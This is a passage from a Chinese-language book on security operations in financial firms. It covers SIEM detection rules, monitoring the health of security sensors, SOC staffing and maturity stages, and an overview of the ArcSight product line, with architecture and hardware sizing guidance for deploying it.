一定有异常,关键是怎么总结提炼出异常的特征加以检测,比如,Ayazero在《互联网企业高级安全》一 书中提到的检测攻击提权,“某个高权限(system?uid=0)进程(bash?cmd.exe?)的父进程为低权限”,是 一个总结提炼异常特征加以检测的很好案例。 (2)跨平台安全监测信息关联检测。最典型的规则为基于资产脆弱性的攻击告警,如,关联分析漏 洞扫描和入侵检测告警信息进行关联检测。再比如防火墙permit日志中有连接ArcOSI中定义的恶意IP地址 信息。 该类型规则在跨平台系统监测信息之间进行关联,可以衍生出很多脑洞大开的检测规则。比如,检 测安全违规行为,检测数据泄密,甚至人员可能离职等。这类规则检测效果的好坏取决于两点—一是安 全Sensor的类型尽可能多,单个Sensor能监测维度尽可能广;二是规则设计者的检测思维,最好就像攻击 者思维一样,需要脑洞大开,需要从“猥琐”处着眼。 (3)针对长时间缓慢低频度攻击的检测规则。大部分的安全工具是以孤立方式识别潜在的安全事 件,例如,IDS监测到某台工作站发出的可疑流量,然后从其他20台工作站上监测到同类流量,在IDS管 理面板上,每个事件被当作单独事件处理(有些IDS厂商有高级功能),在SIEM中可以编写规则,根据 事件发生的频率触发不同的告警,如果在几分钟内从IDS传来21次类似的事件可以触发一条规则。如果攻 击者采取长时间缓慢低频度攻击入侵企业内网,可以编写一条SIEM规则,在较长时间内搜索特定事件, 并在该事件范围内发生次数达到某个阈值时告警。 更进一步,这种检测规则对于不是以即时安全事件形式出现的日志也同样有效。以检测DNS Tunnel 为例,DNS Tunnel用于将C&C流量编码为DNS请求,从被感染机器发出,通过被感染企业的DNS服务器 到达C&C服务器,然后再将响应返回给企业的DNS服务器,由其转发给受感染的内网机器。正常的DNS 查询都有一定频率,DNS Tunnel需要在网络上发送许多DNS数据包,那么制定内网单台机器对同一个域 名的查询达到某个阈值(如10分钟内1000个查询)的规则可以有效检测DNS Tunnel。 SIEM的检测规则还可以配置为在流量来源与旧模式不同时发出告警,也可以配置为在合法时和以往 正确的流量相比突然呈现指数上升或者下降时发出告警,例如,过去90天内产生一定数量日志的Web服 务器突然开始产生10倍于正常数量的日志,这可能是被入侵主机用于向其他主机发动攻击的迹象。通过 SIEM规则,安全团队可以根据流量的标准差制定告警,例如达到10个标准差阈值就告警。 2.健康度监控 从很多攻防案例中可以得出,防御方失败的原因主要归结于安全防护失效,其中SIEM平台工具健康 度出了问题是比较常见的,包括安全Sensor安全监测信息采集器失效,SIEM检测规则失效,安全告警失 效,安全告警处理失效等。 ·安全检测信息采集器失效的原因主要包括:未对采集器的物理机器性能监控、采集数据异常监控、 采集数据日志解析和映射入库(Parser)异常监控等。 ·SIEM检测规则失效,包括设定条件无效、阈值无效、规则未生效等,有时告警阈值设置不合理而导 致频繁告警,SIEM平台自动禁用规则而导致规则无效。 ·安全告警失效,包括邮件、短信网关配置无效,配置用户失效,网络失效,配置变更异常,手机号 码设置错误等。 ·安全告警处理失效主要是人的因素,比如多条告警短信选择性地忽略,假阳性告警太多淹没了真正 有威胁的告警等。 值得一提的是安全Sensor自身的安全性。韩国在2013年3月20日下午2点,包括新韩、农协和济洲等三 家银行与KBS(韩国广播公司)、MBC(韩国文化广播公司)等两家电视台,超过32 000台电脑以及部 分ATM提款机都在同一时间宕机,无法重新启动。黑客首先入侵了韩国防病毒软件厂商AhnLab(安博 士)的病毒定义更新服务器,利用病毒库定义升级机制,将恶意软件分发到用户的计算机,在用户的计 算机上安装执行恶意程序。调查发现,另一家防病毒软件公司ViRobot也被黑客利用。 设想一下,如果你在企业内部部署的安全Sensor接受更新的是恶意软件……,真让人不寒而栗。因 此,做好安全Sensor的安全性,需要注意以下几个原则: ·控制指令仅允许固化的指令,严禁在Sensor端预留执行系统命令接口。 ·更新包必须经过审核才可上传至更新Server保存,更新仅允许选择更新Server上以后的安装包,最好 校验更新包的MD5。 ·控制指令下发时必须人工审核确认后才执行。 ·为可用性起见,更新最好分批分区域完成,否则由于大量更新包的下载导致生产网被堵塞,也是不 可承受之痛。 20.4 所需资源 资源一般包括流程与机制、组织架构与人员等,是实现安全运营的重要保障。 1.流程与机制 有效果、高效率的安全运营流程与机制是非常重要的。安全运营流程的核心是做好两个标准化的流 程: ·安全事件处理流程。定义什么级别的事件该由什么样的人,在什么时间,按什么标准处理完成。一 个外部攻击扫描,和一个内部分支机构的IP地址持续不断地对重要服务器的高权限账户的暴力破解,两 者安全级别肯定不同。前者最多为普通或关注事件,由安全一线工程师下发一个指令,在防火墙上自动 封禁该外部IP地址一段时间即可。后者需要定义为高风险事件,需立即由有经验的安全二线工程师或安 全专家联系分支机构进行溯源排查,有可能是中了金融行业的特种木马,有可能是网络蓝军在偷袭,还 可能真的是有攻击者进来了。不管如何,发现这些问题,就意味着安全感知能力已经往前进步了,终于 不再是靠运气和概率而工作了。 ·安全运营持续改进流程。安全事件的闭环管理,每笔安全事件的处理结果最终必须为误报或者属 实,二者必选其一。如果是误报,必须改进SIEM安全检测规则或安全Sensor监测措施。如果属实,好的 一面是安全检测能力有效,坏的一面是坏人已经进来了,那就需要根据坏人已经突破的层面,进行针对 性的改进。安全运营持续改进要求每天、每周、每月都坚持进行安全事件review,有可能重要事件被一时 大意的一线人员放过,也可能是其他原因。安全运营持续改进流程的质量可能决定了整个安全运营质 量。 2.组织架构与人员 我们期望的大型安全部门组织架构应该如图20-3所示。 图20-3 理想的大型安全部门组织架构图 实际工作中安全部门组织架构图却是如图20-4所示。 图20-4 实际工作中安全部门组织架构图 理想很丰满、现实很骨干,理想和现实总是有差距的。 团队规模方面,互联网公司阿里和腾讯,其安全团队的规模大约在2千人,总员工数约3万多人,安 全团队人员占总员工人数约7%,金融行业和这个比例差距还比较大。国内股份制银行总行安全团队规模 一般为10~20人,总行IT人员从几百到几千不等。券商的安全团队人数普遍在2~5人之间,个别券商的安 全团队有7人,已经算是“豪华配置”了。 作为金融企业安全部门中的一个重要团队,安全运营的实现肯定也离不开组织与人员,以下是推荐 的安全运营团队配置: 证券公司安全运营团队建议按1∶2∶3比例配置:1个安全运营平台运维人员,负责服务器和应用运 维,该部分可以交给IT部门的运维团队代为运维;2个安全人员互备,一个负责安全Sensor建设,一个负 责安全检测规则和安全二线,包括事件调查、回顾与汇报、持续改进;3个外包安全一线,负责7×12事件 响应和初步调查确认。 股份制银行安全运营人员数量推荐配置为证券公司的2~3倍,外包人员还可视事件类型和数量增加。 20.5 安全运营的思考 有了架构、工具、资源,安全运营一定就能做得尽如人意吗?答案显然是否定的。因为实际工作 中,还会遇到各种各样的问题,需要时刻保持清醒,并做出适应和改变。 1.难点 互联网行业的安全建设引领全行业的发展,原因是什么呢?人财物资源投入大?自由市场竞争充 分?我认为最重要的原因是,面临解决实际安全问题的压力和需求时,采用最快、最有效的解决方案。 如果直接采用传统行业的传统安全解决方案,来搞定互联网行业的安全问题和需求,无疑是行不通的。 所以互联网行业做安全的关键词是“有效解决实际问题”。 在2010年以前,我们和国内金融行业同仁交流的时候,做安全的思路普遍还停留在监管合规+设备部 署的阶段。我认为这是合理的。安全是和需求相匹配的,金融行业是牌照行业,监管合规是安全的首要 和最重要需求,安全团队在这个阶段应最大化地满足监管合规的目标。同时,由于国家对金融业的法律 保护等客观因素,金融行业的业务系统面临的风险远没有互联网行业高。 但在2010年后,由于网上银行、移动金融的快速发展,以及国内互联网安全环境的形势逐步严峻, 金融行业的安全需求开始发生深刻变化,需要有效解决实际安全问题。虽然监管合规和设备部署经过历 年不断的持续改进有了很大提升,但还是会不断地出现安全事件,方向在哪?笔者认为,从设备部署向 安全有效运营的方向转变,是个不错的思路。 安全运营的核心是安全运维框架,承载安全运维框架的是SIEM平台或SOC平台。在金融行业微信群 里经常遇到一个问题,为什么SOC容易失败?这个问题,可以等同于,安全运营的难点在哪? (1)企业自身基础设施成熟度不高。安全运营的质量高低和企业自身基础设施的成熟度有很大关 联。如果一个企业自身的资产管理、IP管理、域名管理、基础安全设备运维管理、流程管理、绩效管理 等方面不完善,甚至一团糟,安全运营能独善其身、一枝独秀吗?防病毒客户端、安全客户端的安装 率、正常率惨不忍睹,检测出某个IP有问题但却始终找不到该IP和资产,检测发现的安全事件没有合理的 事件管理流程工具支撑运转,检测发现内部员工不遵循规范导致安全漏洞结果无任何约束……那安全运 营能做什么呢?还是把点的安全做好,再考虑安全运营比较合适,比如首先把防病毒客户端运营好。 (2)安全运维不能包治百病。由于安全运维框架自身并不具有安全监测能力,安全监测依靠的是安 全防护框架,SOC平台自身不产生信息,需要通过安全防护框架建设一系列安全Sensor,才能具备较强的 安全监测能力,才能在企业内部具有一双安全之眼。所以,安全运维建设不能代替安全防护建设,应该 部署的安全系统、安全设备还是要建。 (3)难以坚持。安全从业者们都有一个朴素的愿望,希望能有一双上帝之手帮我们解决所有的问 题。安全问题往往都很棘手,我们的直观反映总是希望能有一个成本比较低、时间消耗比较少的安全解 决方案,可现实总是事与愿违,因为安全没有速成,没有捷径。但凡和运营相关的,其实都不是高大上 的事情,往往是和琐碎、棘手、平淡相关,甚至让人沮丧,所以安全运营难以坚持。坚持把每个告警跟 踪到底,坚持每天的安全日例会,坚持每周的安全分析,坚持把每件事每天都做好,是最难的。 2.安全检测为什么会失效 单点检测和防御,和企业内规模化检测和防御,是两个概念,很多单点检测和防御很有效,但在企 业上了规模后就会出现安全检测失效的问题,严重的甚至导致无法推广和部署,最终不得不取消。实践 中如果某次安全攻击没有检测到,是非常好的提升企业安全运营能力的机会,这意味着一定是某个环节 弱化导致安全检测失效了。 通过每一次对问题的排查和解决,就可以逐步实现安全运营能力的进步。一般排查的顺序是:单点 检测深度不足→覆盖率不足→安全运维平台可用性出了问题→告警质量问题→人的问题。 第一是单点检测深度不足。可能是检测的正则表达式写得不好,或者是攻击者使用的方式没有预先 考虑到,也可能是现有的安全防护框架的安全监测根本就监测不到。就这一问题,针对性的改进提升就 可以了。 第二是覆盖率不足。出现问题的机器或网络区域没有部署安全监测产品,即使有监测能力,也会因 为没有部署而导致检测失效。比如,防病毒客户端安装率和正常率只有80%,那么即使针对已知恶意程 序,也只有不超过80%的概率能够监测发现。这个问题其实是目前很多企业安全问题的现状—有监测设备 和能力,但安全检测失效。更要命的是大家往往不重视这些灰色地带,投入重金和主要精力去测试该引 入部署哪些安全概念产品,如防APT、威胁情报、态势感知等,其实这些产品都离不开安全监测设备。 所以这个问题的根本解决方案,就是把安全监测产品的部署率、正常率提升上去。关于企业安全灰色地 带,有几个值得注意的地方: ·无人关注的资产,特别是互联网资产。漏洞通报平台报出的很多安全漏洞,得到的企业回复很多 是,“这是一台测试/即将下线/无人使用/外包人员使用……”的设备,我们已关闭。这些资产除了服务器, 还分配了的互联网IP、域名,不在安全监测里的系统和应用。 ·开放在互联网上的管理后台、高危端口、文件上传点。 ·各种已被暴出漏洞的第三方应用。 ·弱口令,包括系统弱口令、应用弱口令、用户弱口令等,如果解决了口令问题,保守估计可以解决 企业50%的安全问题。 第三是安全运维平台可用性出了问题,例如在前面20.3节介绍的健康度监控的问题,这块也是安全检 测失效的重要原因之一。 第四是告警质量问题。SOC被诟病最多的是采集了大量数据,但往往不能判断哪些是真正需要关注 的告警。告警有效性较低,导致大量问题需要人工确认,管理成本太高。安全检测规则的设计不足导致 告警数量太多,导致安全运营人员选择性地忽略。 第五是人的问题。机制流程也可以理解为人的问题。如果前述原因排除,还是有安全检测失效的问 题,那应归结于人的问题。比如,人的责任心问题,快到下班时间了,匆匆把告警确认关闭敷衍了事; 或者人的安全技能不足,不能有效调查判断实际安全问题。 3.白名单还是黑名单 目前绝大多数安全防护措施和安全检测规则,无论说得多高大上,基本上还是基于黑名单原则,满 足黑名单规则给出的告警。黑名单的优点显而易见,假阳性较低,认知理解容易;缺点是漏报率高,能 不能检测到安全威胁,很大程度上需要靠概率和运气。 如果从安全有效性角度出发,白名单可能会越来越受到重视。白名单的缺点是假阳性较高,运营成 本高,所以需要安全检测具有自学习能力(姑且称为人工智能),形成自动或半自动可收敛的安全检测 规则。希望能尽快有成熟的商业产品,解决企业的痛点。 4.需要什么样的安全和安全运营 企业需要什么样的安全和安全运营?适合自己的就是最好的,或者说,投入收益比最大的就是最好 的。企业的安全投入与公司的规模和盈利能力相关,公司规模大,盈利能力强,处于发展期时,预算和 人员编制都会增加,业务停滞时安全做得再好也不会追加投入。因为在甲方,安全不是主营业务,信息 技术部门已经是公司的中后台职能型部门,安全团队是信息技术部门中的中后台,谓之后台中的后台。 所以适合自己的就是最好的。 企业安全建设有个阶段论: 第一阶段,如果基本的安全体系尚不完备,处于救火阶段或者安全体系化建设捉襟见肘,APT攻击 可以先放一边不管,先把安全中需要“快速止血”的工作做好,这就是基础安全工作。这部分工作并不高 大上,但却是最基础最有用的“保命”工作,不需要太多额外投入就可以规避80%的安全问题,让企业有一 个最基础的安全保障。 第二阶段,系统建设阶段,建设各种安全监测防护手段,以及各类安全规范和安全流程,一般采用 27001体系+商业解决方案+少量自研可以实现。 第三阶段,安全高阶建设,这阶段基本商业产品很难满足企业安全需求,以自我研发和自动化、智 能化为特征,核心还是以解决企业实际安全问题为目标。能进入这个阶段的企业不多,但基本代表了该 行业的未来发展方向。 类似软件能力成熟度模型CMMI,安全运营也有成熟度概念: 一级,自发级。部署了一些较为基础的安全措施和管控,单点防御投入了较多的人力财力,比较依 赖于厂商,对于企业安全没有整体把控。 二级,基础级。具有安全运营的理念并付诸行动,建立了较为完善的安全防护体系,并通过安全运 营保障安全有效性,具有攻防能力的个人或团队能够解决实际安全问题。 三级,自动化级。具有自动化监测、响应、处理甚至反击能力,对企业自身安全现状和能力具有全 局掌控力,具有入侵感知能力,能进行一定级别的攻防对抗。 四级,智能级。采用了白名单的安全防护原则,具有真正意义的智能安全检测,能够对偏离正常模 式的行为进行识别。 五级,天网级。天网恢恢,疏而不漏,让所有恶意行为无所遁形。这个级别的安全是理想状态,目 前为止还没有真实案例。 无论怎样,金融企业都要坚持“适合自己的就是最好的”原则。如果需求是一辆自行车,结果来了一 辆专机,效果也未必一定好。 20.6 小结 本章介绍了企业安全运营之路,包括面临的问题、安全运营架构、支撑工具和所需资源,介绍了安 全运营的难点,安全检测为什么会失效,安全运营成熟度、企业安全灰色地带、白名单还是黑名单等。 安全运营的理念、工具还在快速发展完善中,有志于此的读者可以重点关注。 第21章 安全运营中心 第20章介绍了安全运营之路,包括面临的问题、安全运营架构、支撑工具和所需资源,本章介绍安 全运营常用的支撑工具—安全运营中心(SOC),并以ArcSight为例介绍SOC搭建步骤。 21.1 安全运营中心概述 安全运营中心(Security Operations Center,SOC)是指统一收集、存储、处理企业各类与安全相关的 监测告警信息,通过安全事件管理流程流转安全事件工单,由一线、二线、三线安全人员分工处理不同 级别安全告警,并进行安全事件回顾,持续改进提升安全有效性。SOC一般翻译成安全运维中心或安全 运营中心,本书采用安全运营中心。 企业为了应对各类安全风险,按照纵深防御理念,部署了一系列安全防护设备和检测措施,如防火 墙、入侵检测和防护系统、漏洞扫描系统、防病毒系统、终端管理系统等,构建起了点状防御。点状防 御一方面在运行过程中不断产生大量的安全日志和事件,形成了大量“信息孤岛”,另一方面,有限的安 全管理人员面对这些数量巨大、彼此割裂、未进行分级过滤的安全告警信息,操作着各种产品自身的控 制台界面和告警窗口,效率很低,SOC产品由此诞生。 SOC是一个复杂的系统,既有产品,又有服务,还有运维(运营),SOC是技术、流程和人的有机 结合。SOC产品是SOC系统的技术支撑平台,SOC产品在国外很少以SOC命名,更多是与服务挂钩。和 SOC密切相关的还有两个词:SIEM(信息安全与事件管理)、MSSP(可管理安全服务供应商)。国外 产品厂商使用了SIEM(Security Information and Event Management)这个词来代表SOC产品,表示产品与 服务的区别。MSSP(Managed Security Service Provider)是指以SOC为技术支撑为客户提供安全服务的模 式。MSSP的理念在国内的接受度不高,发展很缓慢。 SOC是安全运营落地的重要支撑,本章将以一款著名的SOC产品ArcSight为例,介绍SOC的实施规 划。 21.2 ArcSight简介 笔者从2008年接触ArcSight系列产品以来,见证了ArcSight在SIEM市场的迅速崛起,多次获得Gartner SIEM魔力象限的领导者区域并高居榜首。虽然最近几年有不断下滑之势,但不可否认,ArcSight仍是笔 者用过的最好用也是最简单的SIEM工具。 1.ArcSight优势 ArcSight是SIEM的老牌传统产品,成立于2000年5月,2010年10月被HP以约16亿美元收购,纳入其企 业安全软件群中,2016年9月慧与(中国)有限公司(Hewlett Packard Enterprise,HPE)以88亿美元将其 软件业务出售给了Micro Focus,其中就包含ArcSight。 ArcSight的强项是可灵活定制的关联分析平台ESM以及可以方便收集非标日志的Flex-Connector。注 意ESM仅仅是平台,就像微软的Office套件,大好文章随你挥洒,但文章好坏在于文章作者和内容而非 Office套件。 2.ArcSight模块 ArcSight包含的产品及模块较多,有些还需单独付费才能启用,以下仅就中国大陆地区常见的模块及 功能进行简要介绍,其产品框架如图21-1所示。 (1)数据采集 ArcSight的数据采集由采集软件(Connector)实现,目前支持近400种日志类型。日志获取的方式支 持数据库、文本文件、Syslog、简单网络管理协议(Simple Network Manage-ment Protocol,SNMP)、 REST API;日志记录支持单行、多行;日志内容支持文本、XML、JSON。 由ArcSight开发、维护、支持的日志采集器称为SmartConnector,用户自定义开发、维护、支持的日 志采集器称为FlexConnector,两种Connector使用完全相同的框架,是同一个软件安装包。SmartConnector 大约每1~2月发布一个大版本,提供新的日志类型和格式的解析支持,本书写作时最新的版本是7.7。 SmartConnector本身并不单独销售,也不免费提供下载,但可以通过下载官网Logger评测版的方式获 得相关软件及文档,官网下载链接:https://software.microfocus.com/en us/products/siem data collection log management platform/free trial。FlexConnector需要单独采购一个开发授权。Connector支持安装在Windows 32/64位、Linux 32/64位、Solaris x64、Solaris SPARC操作系统中。 Connector本身是个软件,ArcSight也可以硬件形式提供Connector Appliance,它按EPS划分规格,设 备包括Linux操作系统和基于Web的管理界面,适合一体化解决方案的用户。 (2)数据汇聚 Connector采集后,经过规范、补充后的数据可以直接发送至后台的关联分析软件ESM或/和发送给日 志存留/查询软件Logger,这是以前传统的做法。2016年ArcSight发布了基于Kafka技术名为Event Broker的 产品,它可以适应超大数据量的场景,支持伸缩、高可用、多Consumer。Connector可以作为Producers将 数据以CEF格式输入Event Broker中,ArcSight ESM、Logger、Hadoop及其他支持Kafka的Consumer可以从 中获取CEF格式数据。 图21-1 ArcSight产品框架 Event Broker本身不单独销售,它和Connector、Logger、ArcMC一起打包作为ADP(ArcSight Data Platform)进行销售。 Event Broker由于是新出的产品,版本迭代很快,本书写作时最新的版本是2.11。 (3)数据存储 Logger是一个类似Splunk的产品,可以接收Connector发送的格式化日志,也可以直接作为Syslog服务 器或通过SCP、SFTP、FTP获取非结构化的数据,但其性能和部分细节功能没有Splunk强大。它是 ArcSight为了应对Splunk而生的,评测版可以直接下载,官网下载链接:https://software.microfocus.com/en us/products/siem data collection log management platform/download,在日数据量不大于750M的情况下可以 免费使用1年。 Logger的主要功能包括日志的长期存储、快速检索、快速出具简单报表,不具备真正意义上的实时 分析功能。它可以将日志分类,分别设置最多6个存储组,每个存储组可以设置不同的保留期限以满足不 同的日志存留需求。 Logger可以查询结构化和非结构化的日志,但关键字检索不支持非英文字符。 Logger宣称数据压缩比为10∶1,因此Logger本身的内置存储未必要很大。针对于内置存储不足的情 况,可以设置自动归档,将日志归档至外部的存储资源中。 Logger本身是个软件,ArcSight也可以硬件形式提供Logger Appliance,它按EPS划分规格,设备包括 Linux操作系统和基于Web的管理界面,适合一体化解决方案的用户。 Logger可以单独购买,购买时就会包含Connector的软件,但是建议同时购买Flex-Connector的开发授 权(价格不贵)以及ArcMC用于集中管理。 Logger大约半年会有一个新的大版本出现,本书写作时最新的版本是6.51。 (4)数据分析 ESM是ArcSight的真正核心,笔者认为,当前在SIEM的实时关联分析领域它应该是排名第一的。 ESM本身包含了很多组件/模块,有些是要单独付费的: ·Manager,是整个ESM的核心,它是基于Java的处理软件,主要完成信息的实时关联和分析工作,其 中包含19大类30多个小类的功能(ArcSight称之为Resource),Manager只能处理Connector发送来的规范 化的结构化日志。 ·CORRE,其实就是Logger的一个存储引擎,它具备Logger的所有关键功能,在6.0版本之前ESM使用 的存储引擎是Oracle,但这种通用关系型数据库成为了整个ESM的性能瓶颈,因此现在新购ESM版本全是 基于CORRE的,基于Oracle的ESM最高版本自2015年以来一直停滞在5.6,该模块无需单独付费。 ·Command Center,是基于Web的ESM管理控制台,它设计的功能主要针对ESM的平台系统管理员、 SOC的一线运维值班人员及日志源设备管理员。Command Center的Web界面相对比较简洁并且以查看功 能为主。该模块无需单独付费。 ·Pattern Discovery,是一个单独付费的功能,它主要解决历史数据挖掘的问题。ESM Manager在实时 关联分析上功能很强,但是对历史数据的挖掘能力却很差,因此ArcSight开发了模式发现的功能,此功能 需要在ESM Console上使用。另外ArcSight还OEM了一个离线的模式发现软件AID(ArcSight Interactive Discovery),这个产品在中国大陆地区仅有极少数用户购买过,真正要用起来对分析员的功力要求非常 高,在大数据技术没有出现前该工具还有意义,随着大数据工具越来越多、越来越成熟,这两个模式发 现的功能/产品基本就没人需要了。 ·Solution&Use Case,是需要单独付费的资源包,ESM实现的所有实时关联分析功能都是通过Manager 的19大类30多个小类的功能组合实现的,而Solution&Use Case就是ArcSight基于一些常见的合规性规范定 制好的资源包功能组合,例如PCI、HIPPA、SOX。实际上,将这些资源包落地成符合本机构需求的功能 也是需要耗费很多精力的,因此不建议购买。 ·Domain Field,可以单独付费激活的功能,尽管ESM预留了400个以上的字段给单条日志,但在涉及 业务日志分析的时候就有些不合适了,Domain Field就是允许客户在ESM中增加自定义的数据字段。 ·Actor,可以单独付费激活的功能,主要是和Oracle IDM或Microsoft AD集成使用,可以将身份管理 系统中的账号属性全部自动、实时同步进ESM,可以实现越权操作的监视。实际上,要实现此功能对用 户自身的安全管理要求很高,绝大多数用户完全没有进化到这个层级,因此这些功能在中国大陆地区没 听说有谁买过。 ESM本身是个软件,ArcSight也可以硬件形式提供ESM Appliance,它按EPS划分规格,设备包括了 Linux操作系统和基于Web的管理界面,适合一体化解决方案的用户。 ESM大约半年到一年会有一个新的大版本出现,本书写作时最新的版本是6.11c+Patch1。 ESM对历史数据的分析是弱项,因此ArcSight在2017年发布了一个名为Investigate的产品,它从Event Broker中消费数据,使用Vertica列式存储数据库,宣称可以只用数秒便可以10亿条记录中查询到结果,查 询的语法支持人类自然语法。由于此产品很新且需单独付费,笔者也没有实际接触过,很难评价。 (5)系统操作和管理 Console是ESM的控制台,主要由安全分析员、Use Case开发人员使用,Console用户数量是需要单独 计费的,当然目前只是技术上弹出个烦人的提示而已,还没有限制到无法登录的情况。 Command Center、Logger、Event Broker、Investigate都可以通过主流的浏览器访问进行信息查询及系 统管理。 除非购买了Connector Appliance,否则每个Connector都需要单独维护,对于多Connector的环境这点就 比较麻烦,因此建议购买ArcMC,它可以通过Web界面集中管理所有的Connector、Logger、Event Broker。 ArcMC可以单独购买,也可以作为ADP打包一起购买。 ArcMC大约半年会有一个新的大版本出现,本书写作时最新的版本是2.71。 21.3 SOC实施规划和架构设计 本节通过使用ArcSight介绍SOC的规划和技术架构设计,在具体动手安装配置前,最重要的是做好整 个平台的规划和架构设计。按以下九个步骤做好SOC平台的规划和架构设计,每个步骤推荐了实战中的 一些最佳做法,供大家参考。 1)明确需求。 2)架构环境。 3)硬件规格。 4)日志管理策略。 5)应用的资产和架构信息。 6)外部信息集成策略。 7)开发方法及方式。 8)工作流规划。 9)成果度量。 21.3.1 明确需求 应明确以下问题: ·确定SIEM平台需要解决哪些问题,不少情况下合规性要求是原始驱动力,例如等保、PCI等,实时 关联需求是后续的需求,因此SIEM平台建设的各阶段的目标要明确。 ·确定各日志源设备管理部门对SIEM平台的需求,哪些关键业务系统需求要优先完成,期望的合规性 日、周、月报表有哪些,期望的实时关联需求有哪些,各业务系统以前对日志的处理方式及关注的重点 有哪些。 ·确定需求相关的日志源清单、采集方式、变更流程、变更窗口。 ·确定相关报表、报警的发送对象及处理流程。 上述的需求务必在实施前落实到字面,否则一旦实施起来,跨部门的协助、支持难度将会是巨大 的。 21.3.2 架构环境 1.EISM架构(整体架构) 首先要确定SIEM平台的运营方式(7x24、5x8),不同的运营方式决定了ArcSight的架构是单机系统 还是双机系统,ArcSight的ESM可以: ·开启HA功能(需单独付费)。 ·主备模式。 ArcSight的Logger也支持分布式存储、查询功能。SIEM平台如果与大数据平台有交互需求,架构中 需要加入Event Broker。 以下是适应大多数情况(不买HA、Event Broker模块)的ESM双机架构,如图21-2所示。 2.Connector日志采集架构 (1)采集层 Connector根据日志源的特性分为接收型和获取型,对于接收型的Connector,例如Syslog,总体来说 日志量是比较大的,尽管ArcSight也提供了名为Connector Load Balance的模块,但笔者的最佳实践按图 21-3部署。 上述架构中LVS非必需,仅当Syslog日志量大于3000EPS,或Rsyslog本身性能模块提示有失败的情况 下才需要搭建,当然任何其他的负载均衡软硬件均可使用。 图21-2 ESM双机架构示意图 图21-3 实践部署图 (2)处理层 笔者建议搭建两套ESM Manager: ·一套为生产环境,其硬件配置需要满足规划设计。 ·一套为备用/开发环境,其硬件配置无需和生产环境一样,它主要用于在生产环境停止服务的时候可 以接管日志继续运行关联分析规则,同时兼做Use Case的开发与测试环境。 注意: Connector需要做相应的配置确定ESM发生主备切换时的日志发送目标,ESM主节点停止服务时,默 认情况下Connector会将后续的所有日志发送至备节点,同时缓存这些日志数据,当主节点恢复服务时, Connector会将后续的所有日志发送至主节点,同时按7∶3的比率逐步将之前缓存的日志数据发送给主节 点。 上述是性价比较高的架构,也可以搭建两套完全相同配置的ESM Manager,Connector同时向两个 ESM发送相同或不同的日志,也可以购买HA模块,由其自动准实时同步ESM Manager数据。 21.3.3 硬件规格 SIEM平台主要负责日志的接收、存储、关联分析,ArcSight的ESM是基于Java编写的程序,因此决定 性能的两大因素是硬盘、内存,其次才是CPU数量和存储容量。 首先需要估算大约的EPS、EPD规模,小规模的EPS(小于2000)可以考虑使用虚拟化环境部署,即 便是大规模的EPS,也可以在小规模EPS的分支机构里考虑使用虚拟化环境部署,以便标准化、快速部 署。 基于EPS、EPD的规模可以估算计算能力及存储容量,ESM Manager部署所需的硬件建议如下所示: Minimum规格估计可以支撑2000EPS;Mid-Range规格估计可以支撑10 000EPS;High Performance规 格估计可以支撑20 000EPS。 重要的是,不要使用Raid 5。 上述规格的实际性能需要在SIEM平台搭建及初始化压力测试后,才能得到相对准确的数据。实际 中,我们曾经使用Dell R730服务器(2x Intel E5-2690 V4 2.6GHZ 14核,256G,12x1.2T SAS 10KRPM RAID 10)持续40小时压测,结果如下: ·平均EPS,约为218 879.4。 ·最大EPS,约为263 246.5。 ·平均EPD,约为18 813.2M。 ·总事件量,约为32 358 786 964。 ·抽样其中完整的24小时存储数据如下: ·归档文件容量,639G。 ·归档日志条数,19 455 972 366。 ·日志平均尺寸,35.27字节。 ·归档时长,103分钟。 ·平均归档速率,6.2G/分钟。 对于Connector所需的基础环境没有硬性需求,建议使用Linux操作系统,每个Connector的JVM需要至 少256M(服务器中可以同时部署多个Connector),预留约512M~1G给Linux操作系统后可以大致估算出 所需的内存数量,CPU线程数量建议不小于4个。 21.3.4 日志管理策略 日志管理策略大多由需遵循的合规性要求确定,由于ESM Manager主要用于实时关联分析,因此,默 认情况下ArcSight Connector发送给ESM Manager的是经过滤、归并、规范的日志信息,如果某些合规要 求保留原始日志,就需要在Connector进行相应的设置,或将原始日志发送给Logger。 不同规范对日志的存留期要求有所不同(等保、PCI、SOX),ArcSight是可以设置多个日志存储池 的不同存留期,没有必要因保留日志过久而占用宝贵的存储资源。 ESM和Logger的存储引擎可以每日将前一天的日志归档至外部存储中,这样可以减少对内置存储的 容量需求,归档的日志文件可以保存在便宜的NAS或带库中。 图21-4是某个实际场景中设置的日志存留期策略。 图21-4 某个实际场景中设置的日志存留期策略 21.3.5 应用的资产和架构信息 关键业务的基础架构、灾备架构会确定如何及在哪里采集日志,同样也会影响Use Case的定制策略。 例如,某个Web业务的前端由HAProxy/Nginx做Web应用代理,这时就应该取HAProxy/Nginx的Access Log,无需取后端的Web服务器Access Log。 关键业务资产信息的收集也会大大方便后续的事件分析及Use Case定制,ArcSight将每个IP视为一个 资产(Asset),假设某个防火墙有多个接口,它就有多个资产属性。如果有CMDB工具最好,否则只能 通过人工收集后再通过工具导入ESM。 资产是ArcSight中的重要基础概念,也是一个复杂定制的过程,但对精准定制Use Case的确有价值。 ArcSight的资产相关概念由Customer、Network、Zone、AssetGroup、AssetRange、Asset、 AssetCategory、Location、Vulnerabilities组成,相互间有各种隶属、继承关系,详细的说明建议查看 《ESM 101》[1]。 [1] ESM 101 地 址:https://community.softwaregrp.com/t5/ESM-and-ESM-Express/ESM-101-ESM-6-11-0/ta- p/1585987?attachment-id=57488。 21.3.6 外部信息集成策略 ArcSight的关联分析并不仅为日志,其他的资产信息、弱点扫描报告、黑白名单、威胁情报等均可纳 入关联分析规则中,但需要确定系统间的接口和接入方式(定时脚本、定时手工、实时自动)。 ArcSight提供专门的Connector,ArcSight Asset Model Import FlexConnector,实现自动资产的导入, 也可通过手工用csv的方式导入。 弱点扫描报告可以通过特定的Connector将相应的弱点导入ESM并关联。 CEF是ArcSight对日志格式进行定义的规范,ArcSight与其他系统数据的交换可以采用此规范,以下 是CEF的简单格式样例,详细描述请参见《CEF》[1]。 [1] CEF 地 址:https://community.softwaregrp.com/t5/ArcSight Connectors/ArcSight Common Event Format CEF Guide/ta p/1589306?attachment id=65537(打开较慢,耐心等待)。 21.3.7 开发方法及方式 SIEM的Use Case开发需要遵循软件开发的模式,所以在资源允许的情况下,建议有一套ESM开发、 测试试运行环境,此环境需独立于生产环境,相关的日志信息由Connector配置后复制一份给开发环境。 如果资源实在有限,仅有一套ESM生产环境,所有上线需要实时/定时运行的Use Case均需有相应的 测试、审批过程。 所有新Use Case上线应该遵循必要的变更管理流程,并提供相应的文档及操作手册。我们在这方面吃 